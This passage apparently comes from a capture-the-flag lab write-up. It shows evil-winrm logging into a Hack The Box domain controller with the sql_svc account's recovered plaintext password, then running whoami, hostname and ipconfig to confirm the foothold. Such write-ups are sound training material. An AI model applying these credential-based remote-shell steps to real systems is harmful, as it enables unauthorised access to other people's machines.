Escape_WinRM

WinRM

---

Connecting to the target host with the credential of the sql_svc user via WinRM

┌──(kali㉿kali)-[~/archive/htb/labs/escape]
└─$ evil-winrm -i dc.sequel.htb -u sql_svc -p REGGIE1234ronnie
                                        
Evil-WinRM shell v3.5
                                        
warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
info: Establishing connection to remote endpoint
*evil-winrm* ps c:\Users\sql_svc\Documents> whoami
sequel\sql_svc
*evil-winrm* ps c:\Users\sql_svc\Documents> hostname
dc
*evil-winrm* ps c:\Users\sql_svc\Documents> ipconfig
 
Windows IP Configuration
 
 
ethernet adapter ethernet0 2:
 
   connection-specific dns suffix  . : htb
   ipv6 address. . . . . . . . . . . : dead:beef::21c
   ipv6 address. . . . . . . . . . . : dead:beef::31e1:eb54:2784:d5cd
   link-local ipv6 address . . . . . : fe80::31e1:eb54:2784:d5cd%4
   ipv4 address. . . . . . . . . . . : 10.10.11.202
   subnet mask . . . . . . . . . . . : 255.255.254.0
   default gateway . . . . . . . . . : fe80::250:56ff:feb9:f330%4
                                       10.10.10.2

Initial Foothold established to the target system as the sql_svc user via WinRM